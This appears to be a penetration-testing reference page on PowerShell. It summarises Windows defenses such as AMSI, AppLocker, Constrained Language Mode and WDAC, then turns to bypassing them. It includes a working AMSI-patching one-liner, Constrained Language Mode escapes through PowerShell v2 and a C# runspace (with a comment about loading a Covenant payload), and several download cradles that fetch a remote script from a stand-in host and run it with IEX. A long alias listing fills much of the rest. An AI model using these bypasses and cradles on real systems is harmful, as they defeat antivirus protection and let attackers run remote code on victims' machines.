PowerShell
PowerShell Defenses
PowerShell incorportes multiple defense mechanism such as:
PowerShell Transcripts - These can be system-wide and should be configured to be system-wide to cover more area of detection
PowerShell AMSI (Antimalware Scan Interface) - This is typically a component of the security solution installed on a machine which can either be an EDR or AntiVirus solution. Typically EDR providers create and use their own version of AMSI which is more advanced in the detection of malicious scripts or commands being imported or executed
Script Blocking - Block PowerShell scripts from being imported and executed
AppLocker - A configuration-based protection in Windows platform which can block execution of untrusted binaries or PowerShell scripts. https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/appcontrol-and-applocker-overview#applocker Replaced by WDAC due to much better coverage and difficulty around bypassing
PowerShell CLM (Constrained Language Mode) - This mode restricts usage of certain PowerShell features which would prevent a user from loading or using Windows APIs. A simple example can be found here as well as some more information: https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/ Note that this feature of PowerShell shouldn't be considered as secure and instead, should be relied on other features mentioned here !
WDAC (Windows Defender Application Control) - A policy can be defined in WDAC to block or only allow specific binaries, scripts and so on. This provides strict management of code execution on machines. It can also allow execution of binaries which are internally signed either by a custom CA or by ADCS code signing certificate templates. A nice YouTube explaining the basics is located here - https://www.youtube.com/watch?v=Nj5vBloAWy0
PowerShell Attacks and Bypasses
PowerShell AMSI Bypass
Multiple ways of bypassing AMSI exist which are public such as byte patching which would force AMSI to always return a status of AMSI_STATUS_CLEAN.
Public resources such as the below exist to provide testers with ways of bypassing AMSI so a malicious script can be loaded:
Another example below which will patch AMSI to return a null value:
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)Too many AMSI bypasses can force Defender to flag every binary or script as malicious regardless if its true or not! Bypasses should be applied when a script, binary or command is of suspicious nature to Defender and AMSI.
PowerShell CLM Bypass
Constrained Language Mode can be bypassed using various methods. One very well known method is use check for PowerShell version 2 which does not incorporate security boundaries and therefore is not affected by AMSI or CLM and other such features.
PS C:\Users\user> powershell -ver 2
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.
PS C:\Users\user> "AmsiUtils"
AmsiUtilsWhen AppLocker is enforcing whitelisting rules against PowerShell scripts, ConstrainedLanguageMode is enabled as well.
The current PowerShell language mode can also be viewed using the following command:
PS C:\Users\user> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguageA custom runspace can also be used to create a PowerShell session such as using the example code:
using System;
using System.Management.Automation.Runspaces;
using System.Management.Automation;
namespace PSLangBypass
{
class LangBypass
{
static void Main(string[] args)
{
// Creating the runspace and opening it
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
// Getting the LanguageMode of current session and saving to a file
// This should be possible to replace with a powershell b64 encoded grunt if using Covenant i.e
String cmd = "$ExecutionContext.SessionState.LanguageMode | Out-File -FilePath C:\\Tools\\test.txt";
// Creating powershell object
PowerShell ps = PowerShell.Create();
// Initialising the runspace
ps.Runspace = rs;
// Running the command above
ps.AddScript(cmd);
ps.Invoke();
// Closing file
rs.Close();
}
}
}PowerShell Script Execution
Importing a script (
.ps1)
$ . C:\Windows\Tasks\script.ps1Importing a module (
.psd1)
$ import-module C:\Windows\Tasks\script.psd1$ ipmo C:\Windows\Tasks\script.psd1Where ipmo is an alias to Import-Module.
To obtain a list of the aliases in PowerShell on a machine, the command Get-Alias can be executed. On Windows 11 24H2, the default aliases for commands are as follows:
PS C:\Users\user> Get-Alias
CommandType Name Version Source
----------- ---- ------- ------
Alias % -> ForEach-Object
Alias ? -> Where-Object
Alias ac -> Add-Content
Alias asnp -> Add-PSSnapin
Alias cat -> Get-Content
Alias cd -> Set-Location
Alias CFS -> ConvertFrom-String 3.1.0.0 Microsoft.PowerShell.Utility
Alias chdir -> Set-Location
Alias clc -> Clear-Content
Alias clear -> Clear-Host
Alias clhy -> Clear-History
Alias cli -> Clear-Item
Alias clp -> Clear-ItemProperty
Alias cls -> Clear-Host
Alias clv -> Clear-Variable
Alias cnsn -> Connect-PSSession
Alias compare -> Compare-Object
Alias copy -> Copy-Item
Alias cp -> Copy-Item
Alias cpi -> Copy-Item
Alias cpp -> Copy-ItemProperty
Alias curl -> Invoke-WebRequest
Alias cvpa -> Convert-Path
Alias dbp -> Disable-PSBreakpoint
Alias del -> Remove-Item
Alias diff -> Compare-Object
Alias dir -> Get-ChildItem
Alias dnsn -> Disconnect-PSSession
Alias ebp -> Enable-PSBreakpoint
Alias echo -> Write-Output
Alias epal -> Export-Alias
Alias epcsv -> Export-Csv
Alias epsn -> Export-PSSession
Alias erase -> Remove-Item
Alias etsn -> Enter-PSSession
Alias exsn -> Exit-PSSession
Alias fc -> Format-Custom
Alias fhx -> Format-Hex 3.1.0.0 Microsoft.PowerShell.Utility
Alias fl -> Format-List
Alias foreach -> ForEach-Object
Alias ft -> Format-Table
Alias fw -> Format-Wide
Alias gal -> Get-Alias
Alias gbp -> Get-PSBreakpoint
Alias gc -> Get-Content
Alias gcb -> Get-Clipboard 3.1.0.0 Microsoft.PowerShell.Management
Alias gci -> Get-ChildItem
Alias gcm -> Get-Command
Alias gcs -> Get-PSCallStack
Alias gdr -> Get-PSDrive
Alias ghy -> Get-History
Alias gi -> Get-Item
Alias gin -> Get-ComputerInfo 3.1.0.0 Microsoft.PowerShell.Management
Alias gjb -> Get-Job
Alias gl -> Get-Location
Alias gm -> Get-Member
Alias gmo -> Get-Module
Alias gp -> Get-ItemProperty
Alias gps -> Get-Process
Alias gpv -> Get-ItemPropertyValue
Alias group -> Group-Object
Alias gsn -> Get-PSSession
Alias gsnp -> Get-PSSnapin
Alias gsv -> Get-Service
Alias gtz -> Get-TimeZone 3.1.0.0 Microsoft.PowerShell.Management
Alias gu -> Get-Unique
Alias gv -> Get-Variable
Alias gwmi -> Get-WmiObject
Alias h -> Get-History
Alias history -> Get-History
Alias icm -> Invoke-Command
Alias iex -> Invoke-Expression
Alias ihy -> Invoke-History
Alias ii -> Invoke-Item
Alias ipal -> Import-Alias
Alias ipcsv -> Import-Csv
Alias ipmo -> Import-Module
Alias ipsn -> Import-PSSession
Alias irm -> Invoke-RestMethod
Alias ise -> powershell_ise.exe
Alias iwmi -> Invoke-WmiMethod
Alias iwr -> Invoke-WebRequest
Alias kill -> Stop-Process
Alias lp -> Out-Printer
Alias ls -> Get-ChildItem
Alias man -> help
Alias md -> mkdir
Alias measure -> Measure-Object
Alias mi -> Move-Item
Alias mount -> New-PSDrive
Alias move -> Move-Item
Alias mp -> Move-ItemProperty
Alias mv -> Move-Item
Alias nal -> New-Alias
Alias ndr -> New-PSDrive
Alias ni -> New-Item
Alias nmo -> New-Module
Alias npssc -> New-PSSessionConfigurationFile
Alias nsn -> New-PSSession
Alias nv -> New-Variable
Alias ogv -> Out-GridView
Alias oh -> Out-Host
Alias popd -> Pop-Location
Alias ps -> Get-Process
Alias pushd -> Push-Location
Alias pwd -> Get-Location
Alias r -> Invoke-History
Alias rbp -> Remove-PSBreakpoint
Alias rcjb -> Receive-Job
Alias rcsn -> Receive-PSSession
Alias rd -> Remove-Item
Alias rdr -> Remove-PSDrive
Alias ren -> Rename-Item
Alias ri -> Remove-Item
Alias rjb -> Remove-Job
Alias rm -> Remove-Item
Alias rmdir -> Remove-Item
Alias rmo -> Remove-Module
Alias rni -> Rename-Item
Alias rnp -> Rename-ItemProperty
Alias rp -> Remove-ItemProperty
Alias rsn -> Remove-PSSession
Alias rsnp -> Remove-PSSnapin
Alias rujb -> Resume-Job
Alias rv -> Remove-Variable
Alias rvpa -> Resolve-Path
Alias rwmi -> Remove-WmiObject
Alias sajb -> Start-Job
Alias sal -> Set-Alias
Alias saps -> Start-Process
Alias sasv -> Start-Service
Alias sbp -> Set-PSBreakpoint
Alias sc -> Set-Content
Alias scb -> Set-Clipboard 3.1.0.0 Microsoft.PowerShell.Management
Alias select -> Select-Object
Alias set -> Set-Variable
Alias shcm -> Show-Command
Alias si -> Set-Item
Alias sl -> Set-Location
Alias sleep -> Start-Sleep
Alias sls -> Select-String
Alias sort -> Sort-Object
Alias sp -> Set-ItemProperty
Alias spjb -> Stop-Job
Alias spps -> Stop-Process
Alias spsv -> Stop-Service
Alias start -> Start-Process
Alias stz -> Set-TimeZone 3.1.0.0 Microsoft.PowerShell.Management
Alias sujb -> Suspend-Job
Alias sv -> Set-Variable
Alias swmi -> Set-WmiInstance
Alias tee -> Tee-Object
Alias trcm -> Trace-Command
Alias type -> Get-Content
Alias wget -> Invoke-WebRequest
Alias where -> Where-Object
Alias wjb -> Wait-Job
Alias write -> Write-OutputListing all commands of an imported module:
$ Get-Command -Module ModuleOneUsing a download cradle to obtain a script from a remote source and execute it:
IEX(New-Object Net.WebClient).DownloadString('https://example.com/nonmalicious.jpeg')$WebC = New-Object Net.WebClient;
$str = $WebC.DownloadString('https://example.com/nonmalicious.jpeg');
IEX($str)Using a COM Object to Internet Explorer
$ie = New-Object -ComObject InternetExplorer.Application;
$ie.visible = $false;
$ie.navigation = ('https://example.com/nonmalicious.jpeg');
sleep 5;
$response = $ie.Document.Body.innerHTML;
$ie.quit();
iex($response)For PowerShell version 3 onwards the
Invoke-WebRequest(with alias ofiwr) command can be used instead.
IEX(IWR -useb 'https:/example.com/nonmalicious.jpeg/')An error can occur when using Invoke-WebRequest without the argument -UseBasicParsing. This is due to the IE Engine not being enable as Microsoft have deprecated Internet Explorer.

So for this reason the -UseBasicParsing argument can be added to the command to resolve the issue.
Using a COM Object to MSXML2:
$h = New-Object -ComObject Msxml2.XMLHTTP;
$h.open('GET', 'https://example.com/nonmalicious.jpeg', $false);
$h.send();
iex($h.response)Using the
WebRequestclass in .NET:
$wr = [System.NET.WebRequest]::Create("https://example.com/hello.webp")
$r = $wr.GetResponse();
IEX([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()Last updated